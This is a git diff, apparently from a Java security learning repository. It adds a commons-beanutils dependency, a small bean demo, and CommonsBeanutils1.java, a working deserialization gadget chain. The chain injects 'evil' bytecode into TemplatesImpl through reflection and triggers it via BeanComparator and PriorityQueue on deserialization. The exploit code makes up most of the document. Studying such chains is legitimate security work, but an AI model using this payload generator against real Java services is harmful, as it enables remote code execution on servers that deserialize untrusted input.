diff --git a/‎general/pom.xml‎
Lines changed: 5 additions & 0 deletions b/‎general/pom.xml‎
Lines changed: 5 additions & 0 deletions
diff --git a/‎general/src/main/java/com/govuln/beans/Cat.java‎
Lines changed: 20 additions & 0 deletions b/‎general/src/main/java/com/govuln/beans/Cat.java‎
Lines changed: 20 additions & 0 deletions
diff --git a/‎general/src/main/java/com/govuln/deserialization/CommonsBeanutils1.java‎
Lines changed: 53 additions & 0 deletions b/‎general/src/main/java/com/govuln/deserialization/CommonsBeanutils1.java‎
Lines changed: 53 additions & 0 deletions
@@ -31,6 +31,11 @@
       <artifactId>commons-collections4</artifactId>
       <version>4.0</version>
     </dependency>
+    <dependency>
+      <groupId>commons-beanutils</groupId>
+      <artifactId>commons-beanutils</artifactId>
+      <version>1.9.4</version>
+    </dependency>
     <!-- https://mvnrepository.com/artifact/javassist/javassist -->
     <dependency>
       <groupId>javassist</groupId>
 
@@ -0,0 +1,20 @@
+package com.govuln.beans;
+
+import org.apache.commons.beanutils.PropertyUtils;
+
+final public class Cat {
+    private String name = "catalina";
+
+    public String getName() {
+        return name;
+    }
+
+    public void setName(String name) {
+        this.name = name;
+    }
+
+    public static void main(String []args) throws Exception {
+        Cat cat = new Cat();
+        System.out.println(PropertyUtils.getProperty(cat, "name"));
+    }
+}
@@ -0,0 +1,53 @@
+package com.govuln.deserialization;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.lang.reflect.Field;
+import java.util.PriorityQueue;
+
+import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
+import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
+import javassist.ClassPool;
+import javassist.CtClass;
+import org.apache.commons.beanutils.BeanComparator;
+
+public class CommonsBeanutils1 {
+    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
+        Field field = obj.getClass().getDeclaredField(fieldName);
+        field.setAccessible(true);
+        field.set(obj, value);
+    }
+
+    protected static byte[] getBytescode() throws Exception {
+        ClassPool pool = ClassPool.getDefault();
+        CtClass clazz = pool.get(evil.EvilTemplatesImpl.class.getName());
+        return clazz.toBytecode();
+    }
+
+    public static void main(String[] args) throws Exception {
+        TemplatesImpl obj = new TemplatesImpl();
+        setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
+        setFieldValue(obj, "_name", "HelloTemplatesImpl");
+        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
+
+        final BeanComparator comparator = new BeanComparator();
+        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
+        // stub data for replacement later
+        queue.add(1);
+        queue.add(1);
+
+        setFieldValue(comparator, "property", "outputProperties");
+        setFieldValue(queue, "queue", new Object[]{obj, obj});
+
+        ByteArrayOutputStream barr = new ByteArrayOutputStream();
+        ObjectOutputStream oos = new ObjectOutputStream(barr);
+        oos.writeObject(queue);
+        oos.close();
+
+        System.out.println(barr);
+        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
+        Object o = (Object)ois.readObject();
+    }
+}